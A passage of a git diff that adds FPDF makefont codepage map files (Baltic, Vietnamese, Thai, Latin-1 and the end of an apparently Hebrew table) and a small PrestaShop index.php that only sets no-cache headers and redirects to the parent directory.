+!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!83 U+0192 florin +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!88 U+02C6 circumflex +!89 U+2030 perthousand +!8B U+2039 guilsinglleft +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!98 U+02DC tilde +!99 U+2122 trademark +!9B U+203A guilsinglright +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+20AA afii57636 +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+00D7 multiply +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD sfthyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 middot +!B8 U+00B8 cedilla +!B9 U+00B9 onesuperior +!BA U+00F7 divide +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00BF questiondown +!C0 U+05B0 afii57799 +!C1 U+05B1 afii57801 +!C2 U+05B2 afii57800 +!C3 U+05B3 afii57802 +!C4 U+05B4 afii57793 +!C5 U+05B5 afii57794 +!C6 U+05B6 afii57795 +!C7 U+05B7 afii57798 +!C8 U+05B8 afii57797 +!C9 U+05B9 afii57806 +!CB U+05BB afii57796 +!CC U+05BC afii57807 +!CD U+05BD afii57839 +!CE U+05BE afii57645 +!CF U+05BF afii57841 +!D0 U+05C0 afii57842 +!D1 U+05C1 afii57804 +!D2 U+05C2 afii57803 +!D3 U+05C3 afii57658 +!D4 U+05F0 afii57716 +!D5 U+05F1 afii57717 +!D6 U+05F2 afii57718 +!D7 U+05F3 gereshhebrew +!D8 U+05F4 gershayimhebrew +!E0 U+05D0 afii57664 +!E1 U+05D1 afii57665 +!E2 U+05D2 afii57666 +!E3 U+05D3 afii57667 +!E4 U+05D4 afii57668 +!E5 U+05D5 afii57669 +!E6 U+05D6 afii57670 +!E7 U+05D7 afii57671 +!E8 U+05D8 afii57672 +!E9 U+05D9 afii57673 +!EA U+05DA afii57674 +!EB U+05DB afii57675 +!EC U+05DC afii57676 +!ED U+05DD afii57677 +!EE U+05DE afii57678 +!EF U+05DF afii57679 +!F0 U+05E0 afii57680 +!F1 U+05E1 afii57681 +!F2 U+05E2 afii57682 +!F3 U+05E3 afii57683 +!F4 U+05E4 afii57684 +!F5 U+05E5 afii57685 +!F6 U+05E6 afii57686 +!F7 U+05E7 afii57687 +!F8 U+05E8 afii57688 +!F9 U+05E9 afii57689 +!FA U+05EA afii57690 +!FD U+200E afii299 +!FE U+200F afii300 diff --git a/tools/fpdf/font/makefont/cp1257.map b/tools/fpdf/font/makefont/cp1257.map new file mode 100755 index 0000000..2f2ecfa --- /dev/null +++ b/tools/fpdf/font/makefont/cp1257.map @@ -0,0 +1,244 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!89 U+2030 perthousand +!8B U+2039 guilsinglleft +!8D U+00A8 dieresis +!8E U+02C7 caron +!8F U+00B8 cedilla +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!99 U+2122 trademark +!9B U+203A guilsinglright +!9D U+00AF macron +!9E U+02DB ogonek +!A0 U+00A0 space +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00D8 Oslash +!A9 U+00A9 copyright +!AA U+0156 Rcommaaccent +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00C6 AE +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00F8 oslash +!B9 U+00B9 onesuperior +!BA U+0157 rcommaaccent +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00E6 ae +!C0 U+0104 Aogonek +!C1 U+012E Iogonek +!C2 U+0100 Amacron +!C3 U+0106 Cacute +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+0118 Eogonek +!C7 U+0112 Emacron +!C8 U+010C Ccaron +!C9 U+00C9 Eacute +!CA U+0179 Zacute +!CB U+0116 Edotaccent +!CC U+0122 Gcommaaccent +!CD U+0136 Kcommaaccent +!CE U+012A Imacron +!CF U+013B Lcommaaccent +!D0 U+0160 Scaron +!D1 U+0143 Nacute +!D2 U+0145 Ncommaaccent +!D3 U+00D3 Oacute +!D4 U+014C Omacron +!D5 U+00D5 Otilde +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+0172 Uogonek +!D9 U+0141 Lslash +!DA U+015A Sacute +!DB U+016A Umacron +!DC U+00DC Udieresis +!DD U+017B Zdotaccent +!DE U+017D Zcaron +!DF U+00DF germandbls +!E0 U+0105 aogonek +!E1 U+012F iogonek +!E2 U+0101 amacron +!E3 U+0107 cacute +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+0119 eogonek +!E7 U+0113 emacron +!E8 U+010D ccaron +!E9 U+00E9 eacute +!EA U+017A zacute +!EB U+0117 edotaccent +!EC U+0123 gcommaaccent +!ED U+0137 kcommaaccent +!EE U+012B imacron +!EF U+013C lcommaaccent +!F0 U+0161 scaron +!F1 U+0144 nacute +!F2 U+0146 ncommaaccent +!F3 U+00F3 oacute +!F4 U+014D omacron +!F5 U+00F5 otilde +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+0173 uogonek +!F9 U+0142 lslash +!FA U+015B sacute +!FB U+016B umacron +!FC U+00FC udieresis +!FD U+017C zdotaccent +!FE U+017E zcaron +!FF U+02D9 dotaccent diff --git a/tools/fpdf/font/makefont/cp1258.map b/tools/fpdf/font/makefont/cp1258.map new file mode 100755 index 0000000..fed915f --- /dev/null +++ b/tools/fpdf/font/makefont/cp1258.map @@ -0,0 +1,247 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!82 U+201A quotesinglbase +!83 U+0192 florin +!84 U+201E quotedblbase +!85 U+2026 ellipsis +!86 U+2020 dagger +!87 U+2021 daggerdbl +!88 U+02C6 circumflex +!89 U+2030 perthousand +!8B U+2039 guilsinglleft +!8C U+0152 OE +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!98 U+02DC tilde +!99 U+2122 trademark +!9B U+203A guilsinglright +!9C U+0153 oe +!9F U+0178 Ydieresis +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+00AA ordfeminine +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00B8 cedilla +!B9 U+00B9 onesuperior +!BA U+00BA ordmasculine +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00BF questiondown +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+0102 Abreve +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB U+00CB Edieresis +!CC U+0300 gravecomb +!CD U+00CD Iacute +!CE U+00CE Icircumflex +!CF U+00CF Idieresis +!D0 U+0110 Dcroat +!D1 U+00D1 Ntilde +!D2 U+0309 hookabovecomb +!D3 U+00D3 Oacute +!D4 U+00D4 Ocircumflex +!D5 U+01A0 Ohorn +!D6 U+00D6 Odieresis +!D7 U+00D7 multiply +!D8 U+00D8 Oslash +!D9 U+00D9 Ugrave +!DA U+00DA Uacute +!DB U+00DB Ucircumflex +!DC U+00DC Udieresis +!DD U+01AF Uhorn +!DE U+0303 tildecomb +!DF U+00DF germandbls +!E0 U+00E0 agrave +!E1 U+00E1 aacute +!E2 U+00E2 acircumflex +!E3 U+0103 abreve +!E4 U+00E4 adieresis +!E5 U+00E5 aring +!E6 U+00E6 ae +!E7 U+00E7 ccedilla +!E8 U+00E8 egrave +!E9 U+00E9 eacute +!EA U+00EA ecircumflex +!EB U+00EB edieresis +!EC U+0301 acutecomb +!ED U+00ED iacute +!EE U+00EE icircumflex +!EF U+00EF idieresis +!F0 U+0111 dcroat +!F1 U+00F1 ntilde +!F2 U+0323 dotbelowcomb +!F3 U+00F3 oacute +!F4 U+00F4 ocircumflex +!F5 U+01A1 ohorn +!F6 U+00F6 odieresis +!F7 U+00F7 divide +!F8 U+00F8 oslash +!F9 U+00F9 ugrave +!FA U+00FA uacute +!FB U+00FB ucircumflex +!FC U+00FC udieresis +!FD U+01B0 uhorn +!FE U+20AB dong +!FF U+00FF ydieresis diff --git a/tools/fpdf/font/makefont/cp874.map b/tools/fpdf/font/makefont/cp874.map new file mode 100755 index 0000000..1006e6b --- /dev/null +++ b/tools/fpdf/font/makefont/cp874.map @@ -0,0 +1,225 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+20AC Euro +!85 U+2026 ellipsis +!91 U+2018 quoteleft +!92 U+2019 quoteright +!93 U+201C quotedblleft +!94 U+201D quotedblright +!95 U+2022 bullet +!96 U+2013 endash +!97 U+2014 emdash +!A0 U+00A0 space +!A1 U+0E01 kokaithai +!A2 U+0E02 khokhaithai +!A3 U+0E03 khokhuatthai +!A4 U+0E04 khokhwaithai +!A5 U+0E05 khokhonthai +!A6 U+0E06 khorakhangthai +!A7 U+0E07 ngonguthai +!A8 U+0E08 chochanthai +!A9 U+0E09 chochingthai +!AA U+0E0A chochangthai +!AB U+0E0B sosothai +!AC U+0E0C chochoethai +!AD U+0E0D yoyingthai +!AE U+0E0E dochadathai +!AF U+0E0F topatakthai +!B0 U+0E10 thothanthai +!B1 U+0E11 thonangmonthothai +!B2 U+0E12 thophuthaothai +!B3 U+0E13 nonenthai +!B4 U+0E14 dodekthai +!B5 U+0E15 totaothai +!B6 U+0E16 thothungthai +!B7 U+0E17 thothahanthai +!B8 U+0E18 thothongthai +!B9 U+0E19 nonuthai +!BA U+0E1A bobaimaithai +!BB U+0E1B poplathai +!BC U+0E1C phophungthai +!BD U+0E1D fofathai +!BE U+0E1E phophanthai +!BF U+0E1F fofanthai +!C0 U+0E20 phosamphaothai +!C1 U+0E21 momathai +!C2 U+0E22 yoyakthai +!C3 U+0E23 roruathai +!C4 U+0E24 ruthai +!C5 U+0E25 lolingthai +!C6 U+0E26 luthai +!C7 U+0E27 wowaenthai +!C8 U+0E28 sosalathai +!C9 U+0E29 sorusithai +!CA U+0E2A sosuathai +!CB U+0E2B hohipthai +!CC U+0E2C lochulathai +!CD U+0E2D oangthai +!CE U+0E2E honokhukthai +!CF U+0E2F paiyannoithai +!D0 U+0E30 saraathai +!D1 U+0E31 maihanakatthai +!D2 U+0E32 saraaathai +!D3 U+0E33 saraamthai +!D4 U+0E34 saraithai +!D5 U+0E35 saraiithai +!D6 U+0E36 sarauethai +!D7 U+0E37 saraueethai +!D8 U+0E38 sarauthai +!D9 U+0E39 sarauuthai +!DA U+0E3A phinthuthai +!DF U+0E3F bahtthai +!E0 U+0E40 saraethai +!E1 U+0E41 saraaethai +!E2 U+0E42 saraothai +!E3 U+0E43 saraaimaimuanthai +!E4 U+0E44 saraaimaimalaithai +!E5 U+0E45 lakkhangyaothai +!E6 U+0E46 maiyamokthai +!E7 U+0E47 maitaikhuthai +!E8 U+0E48 maiekthai +!E9 U+0E49 maithothai +!EA U+0E4A maitrithai +!EB U+0E4B maichattawathai +!EC U+0E4C thanthakhatthai +!ED U+0E4D nikhahitthai +!EE U+0E4E yamakkanthai +!EF U+0E4F fongmanthai +!F0 U+0E50 zerothai +!F1 U+0E51 onethai +!F2 U+0E52 twothai +!F3 U+0E53 threethai +!F4 U+0E54 fourthai +!F5 U+0E55 fivethai +!F6 U+0E56 sixthai +!F7 U+0E57 seventhai +!F8 U+0E58 eightthai +!F9 U+0E59 ninethai +!FA U+0E5A angkhankhuthai +!FB U+0E5B khomutthai diff --git a/tools/fpdf/font/makefont/index.php b/tools/fpdf/font/makefont/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/tools/fpdf/font/makefont/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/tools/fpdf/font/makefont/iso-8859-1.map b/tools/fpdf/font/makefont/iso-8859-1.map new file mode 100755 index 0000000..61740a3 --- /dev/null +++ b/tools/fpdf/font/makefont/iso-8859-1.map @@ -0,0 +1,256 @@ +!00 U+0000 .notdef +!01 U+0001 .notdef +!02 U+0002 .notdef +!03 U+0003 .notdef +!04 U+0004 .notdef +!05 U+0005 .notdef +!06 U+0006 .notdef +!07 U+0007 .notdef +!08 U+0008 .notdef +!09 U+0009 .notdef +!0A U+000A .notdef +!0B U+000B .notdef +!0C U+000C .notdef +!0D U+000D .notdef +!0E U+000E .notdef +!0F U+000F .notdef +!10 U+0010 .notdef +!11 U+0011 .notdef +!12 U+0012 .notdef +!13 U+0013 .notdef +!14 U+0014 .notdef +!15 U+0015 .notdef +!16 U+0016 .notdef +!17 U+0017 .notdef +!18 U+0018 .notdef +!19 U+0019 .notdef +!1A U+001A .notdef +!1B U+001B .notdef +!1C U+001C .notdef +!1D U+001D .notdef +!1E U+001E .notdef +!1F U+001F .notdef +!20 U+0020 space +!21 U+0021 exclam +!22 U+0022 quotedbl +!23 U+0023 numbersign +!24 U+0024 dollar +!25 U+0025 percent +!26 U+0026 ampersand +!27 U+0027 quotesingle +!28 U+0028 parenleft +!29 U+0029 parenright +!2A U+002A asterisk +!2B U+002B plus +!2C U+002C comma +!2D U+002D hyphen +!2E U+002E period +!2F U+002F slash +!30 U+0030 zero +!31 U+0031 one +!32 U+0032 two +!33 U+0033 three +!34 U+0034 four +!35 U+0035 five +!36 U+0036 six +!37 U+0037 seven +!38 U+0038 eight +!39 U+0039 nine +!3A U+003A colon +!3B U+003B semicolon +!3C U+003C less +!3D U+003D equal +!3E U+003E greater +!3F U+003F question +!40 U+0040 at +!41 U+0041 A +!42 U+0042 B +!43 U+0043 C +!44 U+0044 D +!45 U+0045 E +!46 U+0046 F +!47 U+0047 G +!48 U+0048 H +!49 U+0049 I +!4A U+004A J +!4B U+004B K +!4C U+004C L +!4D U+004D M +!4E U+004E N +!4F U+004F O +!50 U+0050 P +!51 U+0051 Q +!52 U+0052 R +!53 U+0053 S +!54 U+0054 T +!55 U+0055 U +!56 U+0056 V +!57 U+0057 W +!58 U+0058 X +!59 U+0059 Y +!5A U+005A Z +!5B U+005B bracketleft +!5C U+005C backslash +!5D U+005D bracketright +!5E U+005E asciicircum +!5F U+005F underscore +!60 U+0060 grave +!61 U+0061 a +!62 U+0062 b +!63 U+0063 c +!64 U+0064 d +!65 U+0065 e +!66 U+0066 f +!67 U+0067 g +!68 U+0068 h +!69 U+0069 i +!6A U+006A j +!6B U+006B k +!6C U+006C l +!6D U+006D m +!6E U+006E n +!6F U+006F o +!70 U+0070 p +!71 U+0071 q +!72 U+0072 r +!73 U+0073 s +!74 U+0074 t +!75 U+0075 u +!76 U+0076 v +!77 U+0077 w +!78 U+0078 x +!79 U+0079 y +!7A U+007A z +!7B U+007B braceleft +!7C U+007C bar +!7D U+007D braceright +!7E U+007E asciitilde +!7F U+007F .notdef +!80 U+0080 .notdef +!81 U+0081 .notdef +!82 U+0082 .notdef +!83 U+0083 .notdef +!84 U+0084 .notdef +!85 U+0085 .notdef +!86 U+0086 .notdef +!87 U+0087 .notdef +!88 U+0088 .notdef +!89 U+0089 .notdef +!8A U+008A .notdef +!8B U+008B .notdef +!8C U+008C .notdef +!8D U+008D .notdef +!8E U+008E .notdef +!8F U+008F .notdef +!90 U+0090 .notdef +!91 U+0091 .notdef +!92 U+0092 .notdef +!93 U+0093 .notdef +!94 U+0094 .notdef +!95 U+0095 .notdef +!96 U+0096 .notdef +!97 U+0097 .notdef +!98 U+0098 .notdef +!99 U+0099 .notdef +!9A U+009A .notdef +!9B U+009B .notdef +!9C U+009C .notdef +!9D U+009D .notdef +!9E U+009E .notdef +!9F U+009F .notdef +!A0 U+00A0 space +!A1 U+00A1 exclamdown +!A2 U+00A2 cent +!A3 U+00A3 sterling +!A4 U+00A4 currency +!A5 U+00A5 yen +!A6 U+00A6 brokenbar +!A7 U+00A7 section +!A8 U+00A8 dieresis +!A9 U+00A9 copyright +!AA U+00AA ordfeminine +!AB U+00AB guillemotleft +!AC U+00AC logicalnot +!AD U+00AD hyphen +!AE U+00AE registered +!AF U+00AF macron +!B0 U+00B0 degree +!B1 U+00B1 plusminus +!B2 U+00B2 twosuperior +!B3 U+00B3 threesuperior +!B4 U+00B4 acute +!B5 U+00B5 mu +!B6 U+00B6 paragraph +!B7 U+00B7 periodcentered +!B8 U+00B8 cedilla +!B9 U+00B9 onesuperior +!BA U+00BA ordmasculine +!BB U+00BB guillemotright +!BC U+00BC onequarter +!BD U+00BD onehalf +!BE U+00BE threequarters +!BF U+00BF questiondown +!C0 U+00C0 Agrave +!C1 U+00C1 Aacute +!C2 U+00C2 Acircumflex +!C3 U+00C3 Atilde +!C4 U+00C4 Adieresis +!C5 U+00C5 Aring +!C6 U+00C6 AE +!C7 U+00C7 Ccedilla +!C8 U+00C8 Egrave +!C9 U+00C9 Eacute +!CA U+00CA Ecircumflex +!CB 